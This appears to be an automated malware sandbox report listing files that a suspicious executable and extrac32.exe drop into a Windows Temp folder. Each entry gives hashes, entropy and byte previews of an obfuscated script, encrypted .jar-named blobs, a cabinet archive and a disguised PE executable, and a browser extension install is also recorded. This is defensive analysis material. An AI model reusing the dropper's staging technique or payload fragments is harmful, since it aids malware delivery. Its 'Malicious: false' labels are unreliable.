Preview:	Set Exciting=T..EPhEDiscovered(Apr(..jqlQBucks(Fusion(Mysql(Operating(Trembl(Trans(Uni(License(..FPFOGroup(Pm(..tQJBCopyrighted(Lovely(Attendance(Meditation(Outlook(Harvest(Summaries(Whole(Raymond(..KwLdMonte(Designated(Tracy(..Set Sleeps=f..yEOperations(Singing(Census(Numbers(Excluded(Alto(Contract(Implied(Occasional(..UPhlGrade(Squirt(Than(Links(Playstation(Sorted(Marshall(Investor(Bedrooms(..hVsInterface(Trackback(Sw(English(Museum(..sDqTEmphasis(Medal(Specifications(Anal(..vTcCeramic(Trustee(Corporation(Mumbai(Tom(Blend(..arAustria(Builder(..YiYqPools(Emotions(Mobility(Slideshow(Spirit(..yzPublicly(Http(Maximize(..zmIsProof(Ecuador(Greensboro(Karaoke(Specification(..Set Referral=K..GpzLBob(Cholesterol(Lounge(Recovery(Neon(Tide(Lemon(..NVcaAnalyst(Poem(Housing(Guy(Seal(Resources(..obUNotebook(September(Citizen(By(Ripe(Shanghai(Struct(Nickname(Sie(..wXDLender(Agent(Sticks(..excWealth(Decreased(Sandra(Hired(Cove(Good(Opt(Because(..HhGSelection(Regular(..tXeMaps(Behavior(Abandoned(Read

C:\Users\user\AppData\Local\Temp\Electro

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	96256
Entropy (8bit):	6.551457416797103
Encrypted:	false
SSDEEP:	1536:uBvRmLORuCYm9PrpmESvn+pqFqaynB6GMKY99z+ajU1Rjv18fRQLTh/5fhjLueoG:uBJR8CThpmESv+AqVnBypIbv18mLthfd
MD5:	893E6B5CC26E2C34CEDB52CCA1F131D9
SHA1:	C63759A8EA17FD95E0352466641BC2F804864ECC
SHA-256:	45776334754D398B4C8062110FC74AA72CB08A31141E39C2653E8728E33CC871
SHA-512:	38861119C9731AC96EE0D4106370BBBB06C7449DF0AFCC5B2BA60D4D22F1F13B1123496077CBBEDC16DD3E7B3E50E6FDDDB77B52BBC9035E2DE94D8C9B1BA47F
Malicious:	false
Preview:	.M.GH..H....GL..P....GP.......GT.I...P...N..@........M......M......._^..U..VW..j..w..}...Y.u...........u......G..A..G..H..O..G._^]...U..VW.}.....Q..A...t..B...t..P.;.u...;N.u..V.Q.....'..N._^]...U..m..u..}..t..u.j.hg....u...H.I.3.]...U.......`...SW.E.P......Ph.....u...d.I...............P......hP~L.P..........P.........f..]....\u.f..]....:t.3.f..]....3.W.u...$.I...u.8E.t(Wh.. .j.WWh...@.u.....I......u..u...(.I.3._[....h..........j.P.\|...............f.........f............h....P......P...........M....3...f.........RQRR...P......Ph....W..L.I.W..u...`.I..`.....`.I.3.@.]...U......<SVW.}..G..0....E...N....D$..D$8.A..D$<.A..D$@.A..D$D...G..p....E...N....D$..A..D$..A..D$ .A..L$..D$$...y...t$..\|$.VW....I.h.\|L......$\|L.Y;.uB...t(..\|L.+.........\$.f;.$\|L...S.........u.3...u.S.L$...;...t$..4\|L.W./...Y;.u3...t'.L$.+.......9.\$.f;.$\|L.............u.3...t;S.....Y;.........t..D$.+........f;.............u.3..........t$.....I..........h.xL..L$,..h...D$8P.L$,.o1..h@\|L..L$,.(!...=..I

C:\Users\user\AppData\Local\Temp\Ellis.jar

Download File

Process:	C:\Users\user\Desktop\jPKFh06jHI.exe
File Type:	data
Category:	dropped
Size (bytes):	70656
Entropy (8bit):	7.997351287536013
Encrypted:	true
SSDEEP:	1536:kFBqp4JlIqfRlXUd5tAGGje/yOUmQ6kD3GA7zn31rzpMSCHOwd:dsfGwG38mQ6kJz5OS2td
MD5:	063F8A2E2587CE2DECC31280648A4441
SHA1:	836706647040A8B49F0EF88A2FB0F3DD04F84998
SHA-256:	437D3F0A23928BE5300BB7DB48A2352B2C627FC52A407B8519E2C778661D0020
SHA-512:	93A54AD1AE7C47A8F1956B9443EF1B97BB3305547446316A2B304CD7E4774B8FBCDFF880735CDCBE7658D0FAA8949C18966549FE2CD00B7013D8443387568578
Malicious:	false
Preview:	FU/.@.\|.k8.^.#._=+....2..v87l.H...k....g.{..L....;,..h.h......^.xW..Qs. .\...lq.3T.P[...\.D..B..C:.R....uk........#.\|@.;.wX..8..`P...?)j.4P.%.Oo.....8.......E..B.:..%2....V.@.......eu......'..7..I.K.~..s.8.=.M.#.}...B.<..xm`.Vo....Y.'t./r.....9#.....[4'?.6.......s.....<...3?.v.../.8R.~.c.H..0..\gt.qt..~.^}.l5..._`.3.\.Q..FN.l.g....>....0.... .i}.v....\<R...3.`k.....e........H..y....R..K..........(5.d.v....E..j.z[6..]...RN;....8..B.^e7..B.#I..vg...RK.!.@.#3C.4..(.a..: ..Z......Z.k....a.7.$.l~..L.K.jj....._.A.........d.C.e.Q.Y.......l.M...hnV.r..7..g{.b..D.z..>%......v..}:..X.....-l.`.$k.`..~W7.!.......F$........jY..=..N}...3_.&..!.T........?....s.Z..<...@.Wa.;.AF.j...X.....x.....o&.....k,7KE9.0%.#..z..4LXj.<.....6....!z.K...a{h..0T.:V...L~.c./..b>.Vm.{...a..B....<....^...C..E.......]4.3.\|.l..u.gA....]s.+.e..hB.elPZ.a...e#.../\|^.......S'.3r$.WT....6..q..1O.r...!...]{.\|..g..X..>.....,.....>.1.y..LoR..\Js...W..o.(..X.>.x.\"m

C:\Users\user\AppData\Local\Temp\Grass.jar

Download File

Process:	C:\Users\user\Desktop\jPKFh06jHI.exe
File Type:	data
Category:	dropped
Size (bytes):	4411
Entropy (8bit):	7.9574064339244455
Encrypted:	false
SSDEEP:	96:Vi7dfaAmSAT3phK4WB9540n9pdMP3dB21BaUG5yH4tsOfdPm9I3lwDw:VmdfanXK4Wh4B/dBkBaX5yY+Oftm9I31
MD5:	B99AD74C02B83B24287842154059354A
SHA1:	865FB0514594574DDBCA89EFC9BA17D95782F9EC
SHA-256:	90BBA55C1F520C4585D6A331D2F6330DBD5236DFF181693BA22FFE6A8121AAED
SHA-512:	100A77F14222CC0C8AF1D61765BDD9EF703AA3FBA14650B2C507E0F9B8EB1D4C9785C6EFE4D903DB330E5A3CC9A13F26D4278D32A7142FB95B65A762B53DDBA9
Malicious:	false
Preview:	..n\|0......{.ba....Yj[..#.c't.Qj<..R..<.../.Y.........;.l...i.h...%...G>.Z.h.../.W.l........!.q.z.bqa....s..G^...L..]...fZ\|.D..vq.Vq.".=.........k./.....#.c.D..lB....9....RA.m.n.....3:Rdj_.%\|=Xe.h..m.q....OKY...J..?v...USt>P-...E...N9i"67bm`}. =}..s\....m...R6+q....0z...Z@.@..g..D3..)!5...D.@..\........_lV....6..y.....x.P.......BM)H....F......{.....qt.Q......@AC.L.........P{..qv4\0..Nk.._.q$.]..wa....s.\|...i......w..y.].x.....[a..b.l+...q)..A.8G...`M .......V...Q.~....lS.K<........pW...l....H.......S>w-..-."s.-...s_....k.....K.h...6.4.^K..V..\|...M.P.v....\..l......g...!...Z.t.....f..rz..#..`.....C......W...~5..U.n!r\|.X.{.$..#.&..d..1...J<.9.k.at.2.).$.9...@-.....f.2...{...N..=z9.O.-....j.@.N......... Y..9....\...N.....^8s.R./....~b.l..u1I;...Yba....q#U...2.F.\...Z9.bV....(sCa..r.=$r....-.....ceS5...z..n..0.]....DcUz.~u..n.#.t.2.._A"....elv.....g..p\|.c..)...S.[...P.>J...]..,..DA.....m.....M ..\|.&.....s..1/..M.by.qv.....lY

C:\Users\user\AppData\Local\Temp\Hiv.jar

Download File

Process:	C:\Users\user\Desktop\jPKFh06jHI.exe
File Type:	Microsoft Cabinet archive data, 489569 bytes, 12 files, at 0x2c +A "Assumes" +A "Concert", ID 8725, number 1, 29 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	489569
Entropy (8bit):	7.9985702890033155
Encrypted:	true
SSDEEP:	12288:jRmPScahqd0gyEqM4bEVx6WE9rVZQMEP/GbTRAy+Q0HCKMs/Gj:jMfd2f1A8B2XgTRx1js6
MD5:	54E8027C11FA73BECF514D99F5E90356
SHA1:	B5216C4FC154FE016A0DC9E7B653EB1D1CE3168D
SHA-256:	CA8A3141D722AB1A9A5F3DED8E5BAD40ABB88DF32A561F4904FC0B55A987E612
SHA-512:	A7C9F79431683A50F7039E50AA8CDDEAEEB09FA102BB55922EC971FD1682C77658E1E505C0C7CB9B3B1A763F701ADF998BD0A93088BD5CFA8C5CBAB9D4DDF5A2
Malicious:	false
Preview:	MSCF....ax......,................"..M..................Z. .Assumes..p.........Z. .Concert...........Z. .Convicted......}.....Z. .Cap......}.....Z. .Portable......a.....Z. .Continuously..D...%.....Z. .Volleyball......i.....Z. .Valuable...........Z. .Alien..X........Z. .Acids.w..........Z. .Mean..x..^......Z. .Electro.SM.oZL..CK..XSG.8\|..\ ..QQQ...... X..D+6.lZ.V.4..{A...,.k...Z....V.,..{[....b\P)FK..s.&.m.o......y..>I.93s.......{t.~@o..0...z....1..C....>z/..D.G.e.)...7>x..N^..9.....9#......,....Y3.[4..3g....?.8..8"0!.h.....c....z_..{V...P(.).b......X..Z...w.j.w....OY....3..........&.{..o.....O<.]N...K.....Fm+.\t$xj...^..d.u..r>.3i.c.SO....4...{#.X>}bY..}z...zhWy.b..../......u.~O.7.lY.._.{...i..f_.z...C&...?...).[.m..M..E\[....S........s\|P..../F\.... .e.'..o;....~O..e.uq..K....[\|_..../....v......{.5..z.89d......@.~z.J......7}.{r..f.../....Ww....h.../..%u....?...u.[\|..y.._?q..wS..?a.^....g...l.....=....v.y....7...2......n.w.

C:\Users\user\AppData\Local\Temp\Keyboard.jar

Download File

Process:	C:\Users\user\Desktop\jPKFh06jHI.exe
File Type:	data
Category:	modified
Size (bytes):	67584
Entropy (8bit):	7.997170638664128
Encrypted:	true
SSDEEP:	1536:Wg7YfAwLZr0L/UGaqFbbULjCI2b2osSsVk2aWn9VEIOAGmLqXI:dXwLZr0rULmt7b2oVin9VEIOAGm+4
MD5:	E057B36987FFECACD251C1E05DC1BD2D
SHA1:	B6D3AFF5FCC521C1CB44603192270FDC2777279B
SHA-256:	FB79E255835AA82464DCAC71890ACAA981F23AFFC0727ACB79F83DE94A8E632D
SHA-512:	CAE4E5EBBACCD24208D0F2CD6737C855933E9BAF8C78D2ED1B2CC2DD4717B031283969B3F783C5D09AECD96B1DA1EE94256B095D980B86D1CAE5FFBFE30BCE82
Malicious:	false
Preview:	<.B..[...Nh.....%).7.r.......a.}....05yf..0T..1.\.\|M%YB.-.[...c~..4.........C...H...s{.0.Z.(.?.Q.JQ..Br........5.6+.0.-..r......D...t._.i......~Y......V..svc$...CI4.{.3...d...w...."......^S...:......t.0.\|.ZY.o)x.RI2k.W..O....I.f.M.D[(F.i#.!.\|..^...5..a.z..l..b .h(.C....H........v./F{d.6.....j...B_Q.0w.uv...g..4...i...^$..a..>OQB.Z..Y...W.J........D.pC......@......'_>...E.r.......ips..\..k...4m.......y.............t..x.....eH.7.L..u...5...K?..z.9..\|.+...y<..{...jIJ.,A.1...d..riz7........~..BXX.../..1.....u......C,52..VM....yl.mQt.De...8.6.2........e.$..`S..4..).....$.9.o..`.Q..V......V.=PLi..h....H(W...7...rP..1bxZ..pd......?Xs....6,I....{.. ..N^....."......+.......`.C.$7"G6..=\....u).A9...O.....B763..D.(...qbb..C..k)....... .v.. ..,......:`..si.A...q. .W..%.vH.b..?u(=......7...w.g..R.T.....O............#.]F..2VL..l.Q....j......K...A.6Yh..W.x..7.ya.....S..F3...j...:k.n.x.N..iP.(...N'...;ygV..BQ5*.e..b..X.3..\....'.....M....c.,....'

C:\Users\user\AppData\Local\Temp\Leaves.jar

Download File

Process:	C:\Users\user\Desktop\jPKFh06jHI.exe
File Type:	data
Category:	dropped
Size (bytes):	76800
Entropy (8bit):	7.997547507183915
Encrypted:	true
SSDEEP:	1536:PD5HyYgACMkOGs94lgDgJt4Hr5iW7CikRfh8XW388i/5K7hrKHHeenIgiicoX2Js:Pzkj44Dcz7gRh8XYpiBKNuHUi52s
MD5:	5BEEE34B4B3383E0ED03A558E3AF3553
SHA1:	2EADEC0451209E418F7DAFD4591D1DAD7AFCE86B
SHA-256:	16E433F68C7EFF4D5AC57CB7EF42CFE0BFC60D0CDF174332BF7D09A7A43B0365
SHA-512:	4655BBDB21A6FDB1D0BDF26D32D0923ACD9593C240D32F247372E6453D8513998C1AEE59505E5ABA8F2AC8EF653C4AA4F040057872790FBB487D7464E6D4DE20
Malicious:	false
Preview:	g...t..T......'...7.Z.I,...x..v.3...~.%u$..?&...%W...^..z...\|t...<.4..W....VQ#d.._j.J.a.u.X......N:.n3...d.C.L...g.9..+...,..v...3..=.cL>T.......Z.0/.ll22..k.....Q...........<..0..y...Y&...@s"Q{...($:.-.u.1d....P.I...:.G..]W..i.o.... ..X..;.(.X.9=.V..Z.t.=:r!..".P......x.sF.~.u~.0.Z1...`. }.,R....J....r..[nu`.i[....cW.Zz.y..W...g....!P.e..=...i..,s.2.QP.\|."%.}......dl..0..R....hE..v.L..".@..?.'....\..... USR.&z..cJ.T...n._...I...i.R....sS.wm.../).?.G.Bp..xkq.....}.i.d..<..Ww.).'#.@.......... )..e.......t.]c.7... &..."5..,.7.X(%c.n(.............. .T5....G..U..Xz.I.ee...8.<L.....G.W...@.. ...!u.(.....%!R6.N1R.q$/d.....G..C}C_1.._.8..).....0......y......cz...M..a....h....n...j^<..'D..I.].9.8;....9....g.H).G..6...:.5......(...`L.y....d.{..y'l...5dw...-..K.#......T...E.}.#.4..n&...........2....=...W=.R..P..m....C.y..A..t..Q.<n..T9.Lh.H..I._D.Y.PbQD~..C.(?....3.7..#....... 1%m...F.}/......wMu0\].....s [.\|...\.....+........WK.A.}.4....r{

C:\Users\user\AppData\Local\Temp\Mean

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	1655
Entropy (8bit):	4.710929630597308
Encrypted:	false
SSDEEP:	24:mBFyGS9PvCA433C+sCNC1skNkvQfhSHQU2L55e1yb/uBx39lt6DhBhhBX:e29n9mTsCNvEQH5O5U1nPKrhBX
MD5:	2A8D594A6BEEE013FA9B95A367FAEB22
SHA1:	9D717DDD25470E8DFD0F2C4E037C0A672F50DFB4
SHA-256:	D7813842E531AEF44B03724D6CD3936B28D44F444EE0B8E97D80AE119A285780
SHA-512:	DBE5609AC0BB4488C1E7B87957E4C07B8CB57D857B42BA8348057345EA05FE6610C793504E803CC280D0F5B0EE330841D476AAB93608F5731F367405C30A6828
Malicious:	false
Preview:	prague........................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B..........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Portable

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	58368
Entropy (8bit):	6.696292870984109
Encrypted:	false
SSDEEP:	1536:AcrTrhCX4aVmoJiKwtk2ukC5HRu+OoQjz7nts/M26N7oKzY9:AEoXnmowS2u5hVOoQ7t8T6pU9
MD5:	E0250E98982AF4B0DE776428470F7D86
SHA1:	158290CF8C12BC75BA6675237A854E45A804D4B3
SHA-256:	1B3B06CB676334E43B7DF39B17290AE92359AC37FA6F6917FD82186C3EBCEE5C
SHA-512:	F6CA82D86227AD4646779C9BB6F01D1E7BD15DBA5595FDE6CF67928CB347AB74C6CC66B74B777273452B559111A6F2BB93F4E953227CCEE1428AF3B5ABD474C6
Malicious:	false
Preview:	t...Q.P..G._.p.3.^]...U.....}..t..E.P.E..p...4.I.3.....U..V.u..F...t..p...8.I..F..p.V.u..p..u...L.I...@..^]...U..QS..VW.K$.\...K4.z\...KD.r\....3.h..I..`T.f.H .K$.]"......L..K4......h..I.....N...F..F.3..^..FX.F..F..("..h..I..KD..".._..^[....Q.;.~....A..A..Q.;.~..Q..A..U...$SVWjc.5X#M.....(.I.P3.Wh.....vT..H.I...$.I.9~(v..v$.vT..9~H.= .I.v.h.....vT...vDP..~8.v.h.....vT...v4P....F .=..I.f..t.j.Ph....h.....vT..~..~.j..v.h....h.....vT..E.P.vT....I..M.."....M.U.E.+.M.M.+.E......U..M.9F.t..N..M.9F.t..F..E..>.~....E..~..~..F..E..F(...I.W.E..4...Y.M.;.u)..t..F$+.E....8...f;.uL.E......u.3...t..v$.vT..E.P..D.I.P....I..M..r....F.@.].t..E.+.+E.+...........@.M..F...}.t..E.+.+E..+......E.j.WSPQ.vT....I..E.P.vT..4.I..M.......E.+E....+E..E.Pj.j..vT....I..F..........z!... K.j....Ph.....vT....I..FX...._3.^@[..U.......V..h.....vT.. .I...tah..........QP..t.I..F..t.f.......u.j.....I..4...^......z.h.....vT....I.......P.N4.X...j..vT....I.^..U....V3..}..W........Sj..wT.. .I..E..E.....

C:\Users\user\AppData\Local\Temp\Revelation.jar

Download File

Process:	C:\Users\user\Desktop\jPKFh06jHI.exe
File Type:	data
Category:	dropped
Size (bytes):	54272
Entropy (8bit):	7.996278617936529
Encrypted:	true
SSDEEP:	1536:jifshG1nSpFDPyQQHYoNBRnnQvYgnbSQJ:jjUuPyXYoNBtmJ
MD5:	0E41EB14F9965DB0C100D8E5ABA50093
SHA1:	4A8A9A4C2FDA331C30086BB9E495FA3836F80B40
SHA-256:	BEE7C69AF78B1CC859B225696B0F2B54968047A06788E5106893BF79C8E3B454
SHA-512:	156587748A3FC5A161FB08C1CC87B8EFA57587F42132FC057E4887E62812629AED2BF928990D7AD1E832FDBAC3CB09407FF2A7A584AC0484441B54C91D158028
Malicious:	false
Preview:	.'@......{5.t.G....L.(u.t...P.<..$...~.(.`..-.Q-.....y..{...]..M.p#.4.:g#...5G.t.1....Gs<m...`.....,...g.q..4j..+..._...........F.G.Sc=.3..9...4...>S..9..#....vt<..z.q...>m...r.)....V.7.........P.m.h.....w.dWF.M..H...B\X..e...."5..z8HX....~.b./....+.....M!s:l5.........l...{ '+_M..j.+.V.K.HI...^..C..m(b7s.S.@..C.......7.Z#...d........z.Z.G.y.s.K=h\|..C.p...i6x@..>.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Ma......m@nD<....d....s..........x.C\X...........J...+....^.w.5............?r.Q..m;.....w.....;.&.......2..g2"~?]...%kC...p...G...................m.......m...kC.R......%x....}...q..U-...(....%....V..?p.he....,.. .o.UA..1.An....H.`>$O.ng.)........s+V.p...'\|.G...!.$..n.K...;E..<J.W.C3.lY....A8>..>..1...32...T8}..,...E......S..i=.#\In>3(..?..l...[I...kRa.....j.........m......^..x.5...x..2).U.j.....>.\|#.~.\........`............7.,L.="i.0 G..e.z'.z.x.C.+=._..J.]....-..Xm-........t.t T.....7..r..n!.

C:\Users\user\AppData\Local\Temp\Valuable

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	138240
Entropy (8bit):	6.408089033768093
Encrypted:	false
SSDEEP:	3072:DZg5PXPeiR6MKkjGWoUlJUPdgQa8Bp/LxyA3laW2UDQWf05mo:DK5vPeDkjGgQaE/loUDtf0f
MD5:	AF14A5491F7292A42135BE31CDCE062A
SHA1:	43195F7ED3B1FDC004D4B313B871BB1EA5A84B93
SHA-256:	6B2EAC512F1B4294DAA97754371C3C1F361D2E3D75ED90D199C8D7FABBDB212A
SHA-512:	47B361020C3D1E365A4449736CF174A7430D1177639AB7031764DB8F12F2284CA52BE6AD13F788D7AB2623FC4699BD8FC4426F033BA7829A6181FD7421C2A0E5
Malicious:	false
Preview:	.................F\|U............[............u......3........................l.....p.....t.....x.....\|...........................f.............................................................._......^[.U..SV..j.[.F.9F.u0...j.X;.sF3.F...W.......Q......~....Y.......~._S.....Y.M......V..N.....F.^[]......U..QQ.}..........L)M....tv.}.........@)M.3.VW.}.B....U..0...E............}..t .M.......~L........E.j.P.FL......E....u..E ...u..~8...q....._^....3....FP..FT..U...u...(M..K...P.....j.j.j..u...x.I.]...U..Q.@)M.V.u.Wj.....8W.z...............d)M.j.Z.U.;........T)M.....0.........F.;G.u{............8......../.....................VW......~d...(....~h...0....~D...8....~P...@....>.t..6..<.I..&..u........d)M..U.B.U.;..._....u... .........$.........@)M........t.Q.=.....@)M..... ..5.)M..E.N.5.)M.;.L)M.u...L)M....D)M.........._..^u..5.)M.j.....I..%.)M....D)M...t..@)M..D...8.u..<)M...........U..E.VW.@......P......u..........>3._.F.....^]...U......`.D$.V.u.WP.D$.PV..............L$..@)M..T$..

C:\Users\user\AppData\Local\Temp\Volleyball

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	148480
Entropy (8bit):	6.455604904051113
Encrypted:	false
SSDEEP:	3072:KDoioO5bLezW9FfTut/Dde6u640ewy4Za9coRC2jfTq8QLeAg0Fuz08XvBNbp:jO5bLezWWt/Dd314V14ZgP0JaAOz04pf
MD5:	81593FE9552EBD41B101594803B5B05B
SHA1:	617EBB890F89A6DE5E8CAF2E719BEED1E2967EFD
SHA-256:	5DA29E809ED0595604A078DEA0FE83F88F3E2297E957D1B11ABB534E8472877F
SHA-512:	A7F8D7CD3F2D0A4F0CE139D7F89FAFFA9F6AD077AC53E9C4D01D843CE6D9FB2278791C423EB815124BD163BAA7BC60F424754A93D4F10568F85C6DBF24A69FE4
Malicious:	false
Preview:	H.........u.....(...&..~......t$<.=`.I....t].\|$d.t..t$d..d$d..\|$T.t..t$T..d$T..\|$\.t..t$\..d$\..D$@.L$H.D$L.T...t$,.D$HP..d..........t$,.}..t..D$8..L....3.D$@.D$@..y.....L..u....\$0.n'...D$0.t$8...F.......L$H..K.._^3.[..]...V..W3.9~.v+S.F......t..K..!...j.S.A...F.YY.$..G;~.r.[.f.._^.U..VW..j..w..A..Y.u..........u......G..A..G..H..O..G._^]...U..VW...G.9G.uN...j.X;.r...3.G.j.Z.........Q.uA........Yt..G...t....P.w.V.mQ...w..YA......w.j...A...U...Y.....J..N..B..F..B..F..B..F....O..G..4..G._^]...U......T.$$.S.].VW...L$@.C..D$.......L$ ......L$0......L$P......C..0........F.......0.`....D$@P.D$4P.D$XP......D$ .......D$4.A..D$8.A..D$<.A....D$$P.D$,P.......u....@..\|8...L8.t..I8.A......\|8...L8.t..I8.A...Y.\|$D.tq.D$.P.t$..t$H..$.I...tTj.P...H...........H..\|9...D9.t..@8.@......\|9...D9.t..@8.@...u.....$...F......&..H....t$....t$..D$.P.D$......Pj..t$<V....I....t]..j.S.I.........@..\|8...L8.t..I8.A......\|8...L8.t..I8.u.......A.........s$...F............D$....................E..@..p

C:\Users\user\AppData\Local\Temp\b2f0e459-318c-476f-a4ed-769de52fbcfe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	156648
Entropy (8bit):	7.846668149244464
Encrypted:	false
SSDEEP:	3072:5TTj3gXV7obSP3uAxchhBoi+dmTfabSnVf8nik5jqfGc:5HUtoQuAx2cjsMeGiyjuGc
MD5:	DD9BF8448D3DDCFD067967F01E8BF6D7
SHA1:	D7829475B2BD6A3BAA8FABFAF39AF57C6439B35E
SHA-256:	FA2232917A5656EA4F811936561EA6B7C92B3C0004C5E08ECB97636D3AFC6F72
SHA-512:	65347DF34378C2BBB34417E2CCCFB3251A0B2412422CC190EED9DF525B6E0A9948E0295EA3C33B3AD873CE81E369E89A138AC41D6EB7229546C3269107E661DE
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........F.oD..R..OC2,.B~V.-O..2G..C....W.......v6....>^W.L.Z.^J.@V.t........R.l..:...Y=...@T......R6...v"+......EW.:.r.D.......T.V..t..f/e.K....$...-\.e9R...K.......L.....-9.A...."U.@..hOicn._Q .3.~K".0...JR.......W.Nm4m..p...(j.2Q..@.../...3.s....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!...B.z..Q..l_.........<:X..v....!..8} ..LV.....U.@k......6:A.....a".%............o.....J._.H..I.m..a........L..!LB&..\|..i...=.r.5[b.`..Z.z..?..n..<..K..O?.kU.....P].p:........}%.Z^........!..K....3h..6......U.<.p.v..+3.Si....^.......T/Rd...Y._..5....M..9R....q..)l>.g......K..%K.....D\<...g..18.nl.....@..P..

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.387612083559992
Encrypted:	false
SSDEEP:	24:YK0bl5r75riCe0qW+5Ua02EHP5IKL0jZ5JwbX/B+L0w/O/J5tss5ty0h:YK0bl5r75riN0qW+5Ua02sP5IKL0jZ52
MD5:	A9852F6B450D38D5166447F53AC51767
SHA1:	5A3F628F19272E12AD131900E34ADAC3309ECDAD
SHA-256:	D8DD1A6DA94FB8F3FC61F580C1A40E63BDCDC9E846AFB8689B348D7A2D1F8124
SHA-512:	31AC179AD136AAC3DF8CF838C2BA0E220F4B917359C02A4CD424008F5D0C829F875D27FE588EFDDECC46AC29E804864B3F8335C9C4E942C0FAAB795381125DC9
Malicious:	false
Preview:	{"logTime": "1005/074019", "correlationVector":"Jzai6BfByv5amZ45/NBe5r","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"eO8FwRQNRwFtIUhPNa0yBN","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/074027", "correlationVector":"DFCC0B139A2547CAA3433B33892C7FE6","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075031", "correlationVector":"bWXPYvVSVVANvrGBV6dHxn","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075032", "correlationVector":"4CD8E3A1D096444AAB77DA6A690C4356","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075123", "correlationVector":"t3DmiSvoNTibe+/mLDIMfl","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075124", "correlationVector":"B2B504519464422FA5C6E610072CF270","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/075313", "correlationVector":"/q9eTq3f/ZawbQrLDVWKju","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/075314", "correlationVector":"138D0C7D

C:\Users\user\AppData\Local\Temp\ec916177-1317-4f42-9fa4-d73bfd8d9fd2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

